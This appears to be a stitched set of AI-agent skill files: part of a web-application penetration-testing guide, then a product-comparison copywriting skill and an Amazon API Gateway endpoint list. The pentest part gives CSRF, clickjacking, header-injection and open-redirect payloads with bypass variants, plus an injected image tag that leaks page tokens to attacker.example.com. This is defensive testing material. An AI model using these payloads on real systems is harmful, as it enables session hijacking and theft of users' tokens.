Configure your proxy to intercept traffic from Java applets, Flash objects, or Silverlight applications. If the proxy does not automatically intercept extension traffic, configure the browser's JVM or Flash proxy settings to route through your proxy.
**Step 2: Handle serialized data formats.**
Identify the serialization format from the `Content-Type` header:
- `application/x-java-serialized-object` — Java serialization; use DSer (Burp plugin) to convert to XML, edit, and re-serialize
- AMF (Action Message Format) — Flash remoting; use Burp's AMF support or the AMF plugin
- Custom binary formats — attempt to infer structure from repeated byte patterns; look for length-prefixed strings
**Step 3: Decompile the component bytecode if proxy-level manipulation is insufficient.**
- Java applets: use `javap -c` for disassembly or a full decompiler such as JD-GUI or Procyon to recover source code
- Flash objects: download the `.swf` file and use Flasm or JPEXS Free Flash Decompiler
- Silverlight: extract the `.xap` archive and use dotPeek or ILSpy on the contained DLLs
Review decompiled code for hardcoded credentials, hidden API endpoints, client-side business logic, and validation that should occur server-side.
WHY: Browser extensions enforce validation inside a compiled binary that developers assume cannot be inspected. Decompilation proves that assumption false and often reveals critical security logic implemented entirely on the client.
---
### Phase 4: Cross-Site Request Forgery Testing
**Step 1: Identify CSRF-vulnerable functions.**
A function is potentially vulnerable to CSRF when all three of the following hold:
1. It performs a sensitive or privileged action (state change, account modification, fund transfer, user creation)
2. The application relies solely on HTTP cookies to track session state (no additional token in the request body or URL)
3. All required request parameters can be determined by an attacker in advance (no unpredictable nonces)
**Step 2: Construct a CSRF proof of concept.**
For GET-based actions, use an `<img>` tag with `src` set to the target URL:
```html
<img src="https://target.example.com/action?param=value">
```
For POST-based actions, construct an auto-submitting form:
```html
<html><body>
<form action="https://target.example.com/action" method="POST">
<input type="hidden" name="param1" value="value1">
<input type="hidden" name="param2" value="value2">
</form>
<script>document.forms[0].submit();</script>
</body></html>
```
**Step 3: Verify the attack.**
While authenticated in the target application in one browser tab, load the PoC page in the same browser. Confirm the action executes within the victim's session.
**Step 4: Assess anti-CSRF token quality if present.**
If the application includes a per-request token, verify:
- The token is tied to the specific user's session (not shared across users)
- The token value is unpredictable (sufficient entropy, not sequentially issued)
- The token cannot be obtained cross-domain via JavaScript hijacking or CSS injection
- Multi-step flows re-validate the token at every step, not only the first
WHY: CSRF exploits the browser's automatic cookie submission. The only reliable defenses are session-bound unpredictable tokens in the request body, the SameSite cookie attribute, or re-authentication for sensitive actions.
---
### Phase 5: Clickjacking and UI Redress Testing
**Step 1: Check for X-Frame-Options.**
For every sensitive page (login, account settings, fund transfer confirmation, admin functions), examine the HTTP response headers for:
```
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'none'
```
If neither is present, the page is potentially vulnerable to UI redress attacks.
**Step 2: Construct a clickjacking proof of concept.**
Create an attacker page that loads the target page in a transparent iframe overlaid on a decoy interface:
```html
<html><head><style>
iframe { opacity: 0.0; position: absolute; top: 150px; left: 200px;
width: 600px; height: 400px; z-index: 2; }
button { position: absolute; top: 150px; left: 200px; z-index: 1; }
</style></head><body>
<button>Click here to win a prize!</button>
<iframe src="https://target.example.com/confirm-transfer"></iframe>
</body></html>
```
Adjust iframe positioning to align the decoy button with the target page's sensitive action button.
**Step 3: Test for mobile interface gaps.**
Check mobile-specific UI paths (e.g., `/mobile/` subdirectories) separately. Anti-framing defenses are frequently applied only to the desktop interface.
WHY: UI redress bypasses token-based CSRF defenses because the iframe loads the target page normally — the token is generated and submitted within the framed context. The attack works even when CSRF tokens are correctly implemented.
---
### Phase 6: Cross-Domain Policy and Same-Origin Policy Analysis
**Step 1: Check Flash and Silverlight cross-domain policy files.**
Request `/crossdomain.xml` (Flash/Silverlight) and `/clientaccesspolicy.xml` (Silverlight) from the target origin. Evaluate:
- `<allow-access-from domain="*" />` — any domain can perform two-way interaction; critical finding
- Wildcarded subdomains — XSS on any allowed subdomain can compromise the application
- Intranet hostnames disclosed in the policy file
**Step 2: Test HTML5 CORS configuration.**
Add an `Origin: https://attacker.example.com` header to sensitive requests and examine the response for:
```
Access-Control-Allow-Origin: *
Access-Control-Allow-Origin: https://attacker.example.com
Access-Control-Allow-Credentials: true
```
An `Access-Control-Allow-Origin: *` combined with `Access-Control-Allow-Credentials: true` is a critical misconfiguration. Also send an `OPTIONS` preflight request to enumerate which methods and headers are permitted cross-domain.
**Step 3: Test for cross-domain data capture via HTML/CSS injection.**
Where the application reflects limited HTML into responses (HTML injection short of full XSS), test whether the injection point precedes sensitive data such as anti-CSRF tokens. Inject:
```html
<img src='https://attacker.example.com/capture?html=
```
If this unclosed image tag slurps subsequent page content into the URL, sensitive tokens may be transmitted to the attacker's server. Also test CSS injection by injecting `()*(font-family:'` where text injection is possible, and attempt to load the target page as a stylesheet cross-domain.
---
### Phase 7: HTTP Header Injection and Open Redirection
**Step 1: Find header injection entry points.**
Identify all locations where user-supplied data is incorporated into HTTP response headers — commonly the `Location` header in redirects and the `Set-Cookie` header in preference-setting functions. Submit the following test payload in each parameter:
```
English%0d%0aFoo:+bar
```
If the response contains a header line `Foo: bar`, the application is vulnerable. Also try `%0a`, `%250d%250a`, `%0d%0d%%0a0a`, and leading-space bypasses if sanitization is detected.
**Step 2: Assess exploitation impact.**
If arbitrary headers can be injected, demonstrate:
- Cookie injection: inject `Set-Cookie` headers to plant arbitrary cookies in the victim's browser
- Response splitting for cache poisoning: inject a complete second HTTP response body into the cache for a subsequently requested URL
**Step 3: Identify open redirection parameters.**
Walk through the application in the proxy and identify every redirect. For each redirect where user-controlled input determines the target URL, test:
1. Modify the target to an absolute external URL: `https://attacker.example.com`
2. If blocked, test bypass variants:
- Protocol case: `HtTp://attacker.example.com`
- Null byte prefix: `%00http://attacker.example.com`
- Protocol-relative: `//attacker.example.com`
- URL-encoded: `%68%74%74%70%3a%2f%2fattacker.example.com`
- Double encoding: `%2568%2574%2574%70%253a%252f%252fattacker.example.com`
- Domain confusion if app checks for own domain: `http://attacker.example.com?http://target.example.com`
3. If the application prepends a fixed prefix, test whether omitting the trailing slash causes the domain to be treated as a subdomain of an attacker-controlled domain: `redir=.attacker.example.com`
---
### Phase 8: Cookie Injection and Session Fixation
**Step 1: Test for cookie injection vectors.**
Identify functions that accept user input and set it into a cookie value. Inject a newline sequence to add a second `Set-Cookie` header (see HTTP header injection above). Also check whether XSS in related subdomains or parent domains can set cookies for the target application's domain.
**Step 2: Test for session fixation.**
1. As an unauthenticated user, request the login page and record the session token issued
2. Using that token, perform a login with valid credentials
3. If the application does not issue a new session token on successful authentication, it is vulnerable to session fixation
4. Test whether the application accepts arbitrary session tokens it has never issued — if so, the vulnerability is significantly more severe
WHY: Session fixation allows an attacker who can plant a known token in a victim's browser (via cookie injection, URL parameter, or CSRF against the login form) to hijack the victim's authenticated session without ever knowing the victim's credentials.
---
### Phase 9: Local Privacy Testing
**Step 1: Audit persistent cookies.**
Review all `Set-Cookie` headers for the `expires` attribute. Any cookie with a future expiry date is persisted to disk. If the cookie contains sensitive data (session tokens, user identifiers, preference data with security implications), document it as a local privacy finding.
**Step 2: Audit cache directives.**
For every HTTP page that displays sensitive data, verify the presence of all three directives:
```
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
```
If absent, verify that the page is served over HTTPS (not HTTP, where caching is more likely). Validate empirically by clearing the browser cache, accessing the sensitive page, and inspecting the browser's disk cache directory.
**Step 3: Audit autocomplete on sensitive input fields.**
Inspect the HTML source of all forms that capture sensitive data (passwords, credit card numbers, personal identification). Verify that `autocomplete="off"` is set on the `<form>` tag or on the individual sensitive `<input>` tags.
**Step 4: Audit HTML5 local storage.**
Using browser developer tools, inspect `localStorage` and `sessionStorage` for sensitive data stored by the application. `sessionStorage` is cleared when the tab closes; `localStorage` persists indefinitely.
---
## Examples
### Example 1: Hidden Field Price Manipulation
**Scenario:** E-commerce application transmitting product price in a hidden form field for use at checkout.
**Trigger:** During application mapping, proxy traffic reveals `<input type="hidden" name="price" value="449">` in the purchase form HTML.
**Process:**
1. Add item to cart and proceed to checkout in browser
2. Intercept the POST request in Burp Suite when the Buy button is clicked
3. In the intercepted request body, locate `quantity=1&price=449`
4. Modify `price=449` to `price=1` and forward the request
5. Also test `price=-100` to check for negative-price acceptance
**Output:** If the order is processed at the modified price, document as CWE-565 (Reliance on Cookies Without Validation) / improper trust in client-submitted data. Remediation: look up price server-side from the product catalog at time of purchase; never trust client-submitted price values.
---
### Example 2: CSRF Against Account Email Change
**Scenario:** A web application allows users to change their email address via a POST request that relies solely on the session cookie for authentication.
**Trigger:** Application mapping reveals `POST /account/change-email` accepts `[email protected]` with no additional token in the request body.
**Process:**
1. Confirm no anti-CSRF token is present in the request or the form HTML
2. Confirm no `SameSite` attribute is set on the session cookie
3. Construct the PoC page with an auto-submitting form pointing to `/account/change-email` with `[email protected]`
4. While authenticated in the target application, load the PoC in the same browser session
5. Confirm that the email address is changed to the attacker-controlled address
**Output:** Document as CWE-352 (Cross-Site Request Forgery), severity High. Remediation: implement synchronizer token pattern (per-session or per-request CSRF token in request body), or set `SameSite=Strict` on session cookies.
---
### Example 3: Clickjacking on Fund Transfer Confirmation
**Scenario:** A banking application's fund transfer confirmation page (`/transfer/confirm`) lacks `X-Frame-Options`.
**Trigger:** Security header review reveals `X-Frame-Options` is absent from the `/transfer/confirm` response.
**Process:**
1. Construct the iframe overlay PoC with the confirmation page loaded transparently
2. Position the transparent iframe so the Confirm button aligns with a decoy "Click to claim reward" button on the attacker page
3. Open the PoC in a browser where the victim user is authenticated to the banking application
4. Click the decoy button — verify the fund transfer is confirmed within the framed application
**Output:** Document as CWE-1021 (Improper Restriction of Rendered UI Layers / Clickjacking), severity High. Remediation: add `X-Frame-Options: DENY` or `Content-Security-Policy: frame-ancestors 'none'` to all sensitive pages. Note: JavaScript framebusting is not a reliable substitute — it can be circumvented via sandbox iframe attributes.
---
## Remediation Reference
| Vulnerability | Root Cause | Remediation |
|---|---|---|
| Hidden field / cookie / URL param tampering | Server trusts client-submitted data | Store and look up all security-relevant data server-side; validate every parameter server-side |
| Referer-header access control | Referer is optional and attacker-controllable | Use proper session-based authorization; never use Referer as an access control gate |
| ViewState tampering | MAC protection disabled | Enable `EnableViewStateMac`; do not store sensitive data in ViewState |
| JavaScript validation bypass | No server-side replication | Treat all client-side validation as UX only; replicate every constraint server-side |
| CSRF | Cookie-only session tracking | Implement synchronizer token pattern or use `SameSite=Strict` cookies |
| Clickjacking | Missing framing controls | Set `X-Frame-Options: DENY` or `frame-ancestors 'none'` CSP |
| Open redirection | User input controls redirect target | Use an allow-list of valid redirect targets; reject absolute URLs; prepend own origin with trailing slash |
| HTTP header injection | Unsanitized user input in headers | Strip all characters with ASCII code below 0x20 from data inserted into headers |
| Session fixation | Session token not rotated at login | Issue a new session token immediately after successful authentication |
| Local privacy: cached content | Missing cache-control directives | Set `Cache-Control: no-cache`, `Pragma: no-cache`, `Expires: 0` on all sensitive pages |
| Local privacy: autocomplete | Missing autocomplete=off | Set `autocomplete="off"` on all forms and fields capturing sensitive data |
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws by Dafydd Stuttard, Marcus Pinto.
## Related BookForge Skills
This skill is standalone. Browse more BookForge skills: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
Generates fair, structured, balanced product comparisons, pros/cons lists, buying guides, and personalized recommendations for informed purchase decisions.
# Product Comparison & Review Copywriter ## Purpose This skill generates fair, structured product comparison content — head-to-head comparison tables, category buying guides, balanced pros/cons analyses, specification battles, and personalized "best for" recommendations. It is built with fairness as a first principle: the output must be useful to readers making purchase decisions, not a disguised sales pitch. Designed for e-commerce product pages, editorial content, affiliate marketing, and merchant category pages. ## Triggers - "product comparison" - "product VS" - "对比评测" - "buying guide" - "pros and cons" - "选购指南" - "compare products" - "spec comparison" - "best for recommendation" - "优缺点分析" ## Workflow 1. Receive products to compare from user: Product A and Product B (or a category with multiple entries), with key specs, price points, target users, and any sponsored/editorial disclosure. 2. Build a feature comparison matrix: list all comparable features across both products, note where data is missing. 3. Generate balanced pros and cons for each product — a MINIMUM of 2 pros and 2 cons per product, even for the recommended one. 4. Create "best for" recommendations based on user personas, not product superiority: "Product A is best for [persona/use case], Product B is best for [different persona/use case]." 5. Apply the fairness gate: verify no invented weaknesses, no suppressed advantages, no defamatory language. 6. Output the complete comparison package: feature table + pros/cons + buying recommendation + fairness disclosure. ## Prompt Templates ### 1. Head-to-Head Comparison (`head_to_head_comparison`) **Purpose:** Generate a structured A vs B comparison. **Input:** - `product_a_name` — Product A name + key specs - `product_b_name` — Product B name + key specs - `comparison_focus` — What matters most (price/performance/quality/features/ecosystem) - `disclosure` — Editorial or sponsored relationship **Output:** Feature matrix table + balanced pros/cons per product + "best for" verdict + fairness disclosure. ### 2. Buying Guide (`buying_guide`) **Purpose:** Create a tiered buying guide for a product category. **Input:** - `category` — Product category (e.g., "noise-canceling headphones") - `budget_tiers` — Price brackets with 1–2 products per tier - `user_personas` — 2–3 buyer types and what they value **Output:** Tiered guide: Budget Tier | Product(s) | Key Feature | Best For | Pros | Cons | Price. ### 3. Pros/Cons Generator (`pros_cons_generator`) **Purpose:** Generate an objectively balanced pros/cons list for one product. **Input:** - `product_name` — Product - `product_details` — Full specs, price, user reviews context - `use_case` — Intended usage context **Output:** Pros list (minimum 3) and Cons list (minimum 2), each with a one-sentence explanation. ### 4. Spec Battle (`spec_battle`) **Purpose:** Format raw specifications into a readable comparison. **Input:** - `product_a_specs` — Structured spec list for Product A - `product_b_specs` — Structured spec list for Product B - `highlight_categories` — Which spec categories to emphasize **Output:** Spec comparison table: Feature | Product A | Product B | Winner (if clear) | Note. ### 5. Best For Matcher (`best_for_matcher`) **Purpose:** Match products to user personas with personalized recommendations. **Input:** - `product_options` — 2–5 products in a category - `user_persona` — One persona description (type, budget, priorities, constraints) **Output:** Ranked recommendation: #1 pick with reasoning, runner-up, and "avoid if" note for each product. ## Output Format Every comparison is delivered in a reader-friendly structure: **Feature Comparison Table:** | Feature | Product A | Product B | Edge | |---------|-----------|-----------|------| | Price | ¥299 | ¥399 | A | | ... | ... | ... | ... | **Pros & Cons:** - **Product A** - ✅ Pro 1: ... - ❌ Con 1: ... - **Product B** (same structure) **Verdict:** Best for [persona/use case] → [which product and why] **Fairness Disclosure:** [Editorial/Sponsored/Data sources] ## Safety Rules - **NEVER** invent or exaggerate a competitor's weakness — if data is missing, say "data not available" - **NEVER** suppress or omit a competitor's genuine advantage - **NEVER** use defamatory, dismissive, or insulting language about any product - **NEVER** present sponsored content as editorial — always label sponsorship - **ALWAYS** generate AT LEAST 2 cons for every product, even the recommended one - **ALWAYS** cite sources when using third-party data or reviews - **ALWAYS** provide a fairness disclosure section ## Examples ### Example 1: Head-to-Head (Smartphones) **Input:** A="Phone X ¥2999 6.7in 5000mAh 64MP", B="Phone Y ¥3299 6.5in 4500mAh 108MP", Focus="camera+battery" **Output:** Feature table with 8 rows, A wins on battery/price, B wins on camera/resolution. Pros/cons for each (Phone X con: "lower camera resolution"; Phone Y con: "higher price, smaller battery"). Verdict: "Phone X best for budget-conscious battery users; Phone Y best for photography enthusiasts." ### Example 2: Buying Guide **Input:** Category="蓝牙耳机 (Bluetooth Earbuds)", Tiers=["入门<200", "中端200-500", "高端>500"], Personas=["通勤党", "运动党", "学生党"] **Output:** Three-tier guide with 5 products, each linked to a persona, with balanced pros/cons. ## Related Skills - [product-title-booster](../product-title-booster/) — For optimizing titles of the compared products - [review-reply-coach](../review-reply-coach/) — For responding to reviews that the comparison may attract - [landing-page-copy-pro](../landing-page-copy-pro/) — For the landing page hosting the buying guide FILE:ACCEPTANCE.md # Acceptance Criteria — Product Comparison & Review Copywriter - [ ] SKILL.md is self-contained (agent can operate from it alone) - [ ] All 5 prompt templates are complete with `placeholder` inputs - [ ] Safety rules mandate fairness: minimum cons per product, no invented weaknesses, citation of sources - [ ] README.md has clear install instructions + 3 usage examples - [ ] skill.json is valid JSON with all required fields - [ ] Content is unique — comparison table format differs from all other skills - [ ] "Best for matcher" persona-based approach is structurally distinct from other recommendation-style outputs - [ ] Slugs follow naming convention (user-facing, no prefix codes) FILE:README.md # Product Comparison & Review Copywriter Fair, structured product comparisons — VS tables, buying guides, pros/cons, and personalized recommendations. ## Features - Head-to-head A vs B comparison tables with balanced analysis - Category buying guides with tiered recommendations per persona - Objective pros/cons lists — always includes cons for every product - Specification battle formatting for technical products - "Best for" matcher that personalizes recommendations to user personas - Built-in fairness gate: no invented weaknesses, no suppressed advantages ## Install ``` openclaw skills install harrylabsj/product-comparison-writer ``` ## Usage ``` 对比A和B两款扫地机器人,生成一个对比表格和选购建议 写一个2000元以内蓝牙耳机的选购指南,分入门、中端两档 为这款产品生成客观的优缺点列表,至少3个优点2个缺点 把这个产品的技术参数做成对比表格,和竞品PK ``` ## Platforms E-Commerce Product Pages, Blogs, Editorial Review Sites ## Safety Fairness-first: every product gets real cons. No invented competitor weaknesses. Sponsored content is always labeled. All data sources cited. ## License MIT FILE:skill.json { "name": "Product Comparison & Review Copywriter", "description": "Fair, structured product comparison copy — feature matrices, pros/cons tables, 'best for' recommendations, buying guides, and review roundups. Built-in fairness guardrails ensure ethical competitive comparison.", "version": "1.0.0", "type": "prompt-flow", "category": "E-Commerce / Product Content", "keywords": [ "product comparison", "VS", "对比评测", "buying guide", "选购指南", "pros and cons", "review roundup", "comparison table", "best for", "spec comparison" ], "platforms": ["E-Commerce Product Pages", "Blogs", "Editorial Review Sites"], "requires": {}, "requires_api": false, "author": "harrylabsj", "license": "MIT", "safety": { "no_code_execution": true, "no_network": true, "no_credentials": true, "compliance_notes": "MUST maintain fairness — no invented competitor weaknesses. No suppressed competitor advantages. Cite sources for third-party data. Label editorial vs sponsored. No defamatory language. All claims must be verifiable." } }
Amazon API Gateway API skill. Use when working with Amazon API Gateway for apikeys, restapis, domainnames. Covers 120 endpoints.
---
name: lap-amazon-api-gateway
description: "Amazon API Gateway API skill. Use when working with Amazon API Gateway for apikeys, restapis, domainnames. Covers 120 endpoints."
version: 1.0.0
generator: lapsh
metadata:
openclaw:
requires:
env:
- AMAZON_API_GATEWAY_API_KEY
---
# Amazon API Gateway
API version: 2015-07-09
## Auth
AWS SigV4
## Base URL
Not specified.
## Setup
1. Configure auth: AWS SigV4
2. GET /account -- verify access
3. POST /apikeys -- create first apikeys
## Endpoints
120 endpoints across 11 groups. See references/api-spec.lap for full details.
### apikeys
| Method | Path | Description |
|--------|------|-------------|
| POST | /apikeys | Create an ApiKey resource. |
| DELETE | /apikeys/{api_Key} | Deletes the ApiKey resource. |
| GET | /apikeys/{api_Key} | Gets information about the current ApiKey resource. |
| GET | /apikeys | Gets information about the current ApiKeys resource. |
| PATCH | /apikeys/{api_Key} | Changes information about an ApiKey resource. |
### restapis
| Method | Path | Description |
|--------|------|-------------|
| POST | /restapis/{restapi_id}/authorizers | Adds a new Authorizer resource to an existing RestApi resource. |
| POST | /restapis/{restapi_id}/deployments | Creates a Deployment resource, which makes a specified RestApi callable over the internet. |
| POST | /restapis/{restapi_id}/documentation/parts | Creates a documentation part. |
| POST | /restapis/{restapi_id}/documentation/versions | Creates a documentation version |
| POST | /restapis/{restapi_id}/models | Adds a new Model resource to an existing RestApi resource. |
| POST | /restapis/{restapi_id}/requestvalidators | Creates a RequestValidator of a given RestApi. |
| POST | /restapis/{restapi_id}/resources/{parent_id} | Creates a Resource resource. |
| POST | /restapis | Creates a new RestApi resource. |
| POST | /restapis/{restapi_id}/stages | Creates a new Stage resource that references a pre-existing Deployment for the API. |
| DELETE | /restapis/{restapi_id}/authorizers/{authorizer_id} | Deletes an existing Authorizer resource. |
| DELETE | /restapis/{restapi_id}/deployments/{deployment_id} | Deletes a Deployment resource. Deleting a deployment will only succeed if there are no Stage resources associated with it. |
| DELETE | /restapis/{restapi_id}/documentation/parts/{part_id} | Deletes a documentation part |
| DELETE | /restapis/{restapi_id}/documentation/versions/{doc_version} | Deletes a documentation version. |
| DELETE | /restapis/{restapi_id}/gatewayresponses/{response_type} | Clears any customization of a GatewayResponse of a specified response type on the given RestApi and resets it with the default settings. |
| DELETE | /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}/integration | Represents a delete integration. |
| DELETE | /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}/integration/responses/{status_code} | Represents a delete integration response. |
| DELETE | /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method} | Deletes an existing Method resource. |
| DELETE | /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}/responses/{status_code} | Deletes an existing MethodResponse resource. |
| DELETE | /restapis/{restapi_id}/models/{model_name} | Deletes a model. |
| DELETE | /restapis/{restapi_id}/requestvalidators/{requestvalidator_id} | Deletes a RequestValidator of a given RestApi. |
| DELETE | /restapis/{restapi_id}/resources/{resource_id} | Deletes a Resource resource. |
| DELETE | /restapis/{restapi_id} | Deletes the specified API. |
| DELETE | /restapis/{restapi_id}/stages/{stage_name} | Deletes a Stage resource. |
| DELETE | /restapis/{restapi_id}/stages/{stage_name}/cache/authorizers | Flushes all authorizer cache entries on a stage. |
| DELETE | /restapis/{restapi_id}/stages/{stage_name}/cache/data | Flushes a stage's cache. |
| GET | /restapis/{restapi_id}/authorizers/{authorizer_id} | Describe an existing Authorizer resource. |
| GET | /restapis/{restapi_id}/authorizers | Describe an existing Authorizers resource. |
| GET | /restapis/{restapi_id}/deployments/{deployment_id} | Gets information about a Deployment resource. |
| GET | /restapis/{restapi_id}/deployments | Gets information about a Deployments collection. |
| GET | /restapis/{restapi_id}/documentation/parts/{part_id} | Gets a documentation part. |
| GET | /restapis/{restapi_id}/documentation/parts | Gets documentation parts. |
| GET | /restapis/{restapi_id}/documentation/versions/{doc_version} | Gets a documentation version. |
| GET | /restapis/{restapi_id}/documentation/versions | Gets documentation versions. |
| GET | /restapis/{restapi_id}/stages/{stage_name}/exports/{export_type} | Exports a deployed version of a RestApi in a specified format. |
| GET | /restapis/{restapi_id}/gatewayresponses/{response_type} | Gets a GatewayResponse of a specified response type on the given RestApi. |
| GET | /restapis/{restapi_id}/gatewayresponses | Gets the GatewayResponses collection on the given RestApi. If an API developer has not added any definitions for gateway responses, the result will be the API Gateway-generated default GatewayResponses collection for the supported response types. |
| GET | /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}/integration | Get the integration settings. |
| GET | /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}/integration/responses/{status_code} | Represents a get integration response. |
| GET | /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method} | Describe an existing Method resource. |
| GET | /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}/responses/{status_code} | Describes a MethodResponse resource. |
| GET | /restapis/{restapi_id}/models/{model_name} | Describes an existing model defined for a RestApi resource. |
| GET | /restapis/{restapi_id}/models/{model_name}/default_template | Generates a sample mapping template that can be used to transform a payload into the structure of a model. |
| GET | /restapis/{restapi_id}/models | Describes existing Models defined for a RestApi resource. |
| GET | /restapis/{restapi_id}/requestvalidators/{requestvalidator_id} | Gets a RequestValidator of a given RestApi. |
| GET | /restapis/{restapi_id}/requestvalidators | Gets the RequestValidators collection of a given RestApi. |
| GET | /restapis/{restapi_id}/resources/{resource_id} | Lists information about a resource. |
| GET | /restapis/{restapi_id}/resources | Lists information about a collection of Resource resources. |
| GET | /restapis/{restapi_id} | Lists the RestApi resource in the collection. |
| GET | /restapis | Lists the RestApis resources for your collection. |
| GET | /restapis/{restapi_id}/stages/{stage_name}/sdks/{sdk_type} | Generates a client SDK for a RestApi and Stage. |
| GET | /restapis/{restapi_id}/stages/{stage_name} | Gets information about a Stage resource. |
| GET | /restapis/{restapi_id}/stages | Gets information about one or more Stage resources. |
| PUT | /restapis/{restapi_id}/documentation/parts | Imports documentation parts |
| PUT | /restapis/{restapi_id}/gatewayresponses/{response_type} | Creates a customization of a GatewayResponse of a specified response type and status code on the given RestApi. |
| PUT | /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}/integration | Sets up a method's integration. |
| PUT | /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}/integration/responses/{status_code} | Represents a put integration. |
| PUT | /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method} | Add a method to an existing Resource resource. |
| PUT | /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}/responses/{status_code} | Adds a MethodResponse to an existing Method resource. |
| PUT | /restapis/{restapi_id} | A feature of the API Gateway control service for updating an existing API with an input of external API definitions. The update can take the form of merging the supplied definition into the existing API or overwriting the existing API. |
| POST | /restapis/{restapi_id}/authorizers/{authorizer_id} | Simulate the execution of an Authorizer in your RestApi with headers, parameters, and an incoming request body. |
| POST | /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method} | Simulate the invocation of a Method in your RestApi with headers, parameters, and an incoming request body. |
| PATCH | /restapis/{restapi_id}/authorizers/{authorizer_id} | Updates an existing Authorizer resource. |
| PATCH | /restapis/{restapi_id}/deployments/{deployment_id} | Changes information about a Deployment resource. |
| PATCH | /restapis/{restapi_id}/documentation/parts/{part_id} | Updates a documentation part. |
| PATCH | /restapis/{restapi_id}/documentation/versions/{doc_version} | Updates a documentation version. |
| PATCH | /restapis/{restapi_id}/gatewayresponses/{response_type} | Updates a GatewayResponse of a specified response type on the given RestApi. |
| PATCH | /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}/integration | Represents an update integration. |
| PATCH | /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}/integration/responses/{status_code} | Represents an update integration response. |
| PATCH | /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method} | Updates an existing Method resource. |
| PATCH | /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}/responses/{status_code} | Updates an existing MethodResponse resource. |
| PATCH | /restapis/{restapi_id}/models/{model_name} | Changes information about a model. The maximum size of the model is 400 KB. |
| PATCH | /restapis/{restapi_id}/requestvalidators/{requestvalidator_id} | Updates a RequestValidator of a given RestApi. |
| PATCH | /restapis/{restapi_id}/resources/{resource_id} | Changes information about a Resource resource. |
| PATCH | /restapis/{restapi_id} | Changes information about the specified API. |
| PATCH | /restapis/{restapi_id}/stages/{stage_name} | Changes information about a Stage resource. |
### domainnames
| Method | Path | Description |
|--------|------|-------------|
| POST | /domainnames/{domain_name}/basepathmappings | Creates a new BasePathMapping resource. |
| POST | /domainnames | Creates a new domain name. |
| DELETE | /domainnames/{domain_name}/basepathmappings/{base_path} | Deletes the BasePathMapping resource. |
| DELETE | /domainnames/{domain_name} | Deletes the DomainName resource. |
| GET | /domainnames/{domain_name}/basepathmappings/{base_path} | Describe a BasePathMapping resource. |
| GET | /domainnames/{domain_name}/basepathmappings | Represents a collection of BasePathMapping resources. |
| GET | /domainnames/{domain_name} | Represents a domain name that is contained in a simpler, more intuitive URL that can be called. |
| GET | /domainnames | Represents a collection of DomainName resources. |
| PATCH | /domainnames/{domain_name}/basepathmappings/{base_path} | Changes information about the BasePathMapping resource. |
| PATCH | /domainnames/{domain_name} | Changes information about the DomainName resource. |
### usageplans
| Method | Path | Description |
|--------|------|-------------|
| POST | /usageplans | Creates a usage plan with the throttle and quota limits, as well as the associated API stages, specified in the payload. |
| POST | /usageplans/{usageplanId}/keys | Creates a usage plan key for adding an existing API key to a usage plan. |
| DELETE | /usageplans/{usageplanId} | Deletes a usage plan of a given plan Id. |
| DELETE | /usageplans/{usageplanId}/keys/{keyId} | Deletes a usage plan key and remove the underlying API key from the associated usage plan. |
| GET | /usageplans/{usageplanId}/usage | Gets the usage data of a usage plan in a specified time interval. |
| GET | /usageplans/{usageplanId} | Gets a usage plan of a given plan identifier. |
| GET | /usageplans/{usageplanId}/keys/{keyId} | Gets a usage plan key of a given key identifier. |
| GET | /usageplans/{usageplanId}/keys | Gets all the usage plan keys representing the API keys added to a specified usage plan. |
| GET | /usageplans | Gets all the usage plans of the caller's account. |
| PATCH | /usageplans/{usageplanId}/keys/{keyId}/usage | Grants a temporary extension to the remaining quota of a usage plan associated with a specified API key. |
| PATCH | /usageplans/{usageplanId} | Updates a usage plan of a given plan Id. |
### vpclinks
| Method | Path | Description |
|--------|------|-------------|
| POST | /vpclinks | Creates a VPC link, under the caller's account in a selected region, in an asynchronous operation that typically takes 2-4 minutes to complete and become operational. The caller must have permissions to create and update VPC Endpoint services. |
| DELETE | /vpclinks/{vpclink_id} | Deletes an existing VpcLink of a specified identifier. |
| GET | /vpclinks/{vpclink_id} | Gets a specified VPC link under the caller's account in a region. |
| GET | /vpclinks | Gets the VpcLinks collection under the caller's account in a selected region. |
| PATCH | /vpclinks/{vpclink_id} | Updates an existing VpcLink of a specified identifier. |
### clientcertificates
| Method | Path | Description |
|--------|------|-------------|
| DELETE | /clientcertificates/{clientcertificate_id} | Deletes the ClientCertificate resource. |
| POST | /clientcertificates | Generates a ClientCertificate resource. |
| GET | /clientcertificates/{clientcertificate_id} | Gets information about the current ClientCertificate resource. |
| GET | /clientcertificates | Gets a collection of ClientCertificate resources. |
| PATCH | /clientcertificates/{clientcertificate_id} | Changes information about an ClientCertificate resource. |
### account
| Method | Path | Description |
|--------|------|-------------|
| GET | /account | Gets information about the current Account resource. |
| PATCH | /account | Changes information about the current Account resource. |
### sdktypes
| Method | Path | Description |
|--------|------|-------------|
| GET | /sdktypes/{sdktype_id} | Gets an SDK type. |
| GET | /sdktypes | Gets SDK types |
### tags
| Method | Path | Description |
|--------|------|-------------|
| GET | /tags/{resource_arn} | Gets the Tags collection for a given resource. |
| PUT | /tags/{resource_arn} | Adds or updates a tag on a given resource. |
| DELETE | /tags/{resource_arn} | Removes a tag from a given resource. |
### apikeys?mode=import
| Method | Path | Description |
|--------|------|-------------|
| POST | /apikeys?mode=import | Import API keys from an external source, such as a CSV-formatted file. |
